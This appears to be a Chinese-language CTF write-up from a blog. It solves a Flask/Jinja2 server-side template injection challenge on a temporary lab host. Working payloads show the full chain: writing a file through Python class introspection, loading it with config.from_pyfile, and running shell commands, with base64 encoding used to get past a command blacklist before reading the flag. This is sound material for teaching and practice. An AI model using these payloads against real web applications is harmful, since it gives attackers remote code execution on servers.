CTF SSTI模板注入详解
我們用一題“百度杯”CTF比賽來實戰解題:
?
這邊臨時靶場的URL是:eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/
首先bp暴力破解先找到一個傳參,一般都是一些簡單的id,name等等,這里是name
嘗試name={{5-4}},發現返回1,可以確認是python,模板注入
確認是模板注入,就可以直接使用payload了:
想更深入了解模板注入里面涉及的知識,函數的使用等,可以參考這個大佬的文章
https://xz.aliyun.com/t/7746
①
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}URL:
eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{?''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from?subprocess?import?check_output\n\nRUNCMD?=?check_output\n')?}}
返回None,證明傳遞成功
②
{{ config.from_pyfile('/tmp/owned.cfg') }}URL:
eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com
/?name={{?config.from_pyfile('/tmp/owned.cfg')?}}
返回True,證明上傳成功
③
現在就可以操作了
{{ config['RUNCMD'] ('ps aux',shell=True) }}URL
http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{ config['RUNCMD'] ('ps aux',shell=True) }}
/usr/bin/id 查看當前用戶,發現是root用戶
用ps aux查看當前進程,發現有一個文件是
嘗試了ls等一些命令,發現很多命令被黑名單過濾了,我們使用base64編碼來繞過
echo **(密文)** | base64 -d 注意:代碼要用反引號``包起來把命令先base64加密
{{ config['RUNCMD'] ('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}URL
http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{?config['RUNCMD']?('`echo?bHMgLWFsIC92YXIvd3d3L2h0bWwK?|?base64?-d`',shell=True)?}}
?④
最后獲取flag
cat /var/www/html/fl4g
URL:
view-source:http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{ config['RUNCMD'] ('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}
得出flag
?
總結
以上是生活随笔為你收集整理的CTF SSTI模板注入详解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 致远OA漏洞学习——A6版本敏感信息泄漏
- 下一篇: 单片机c语言数码管显示5,51单片机数码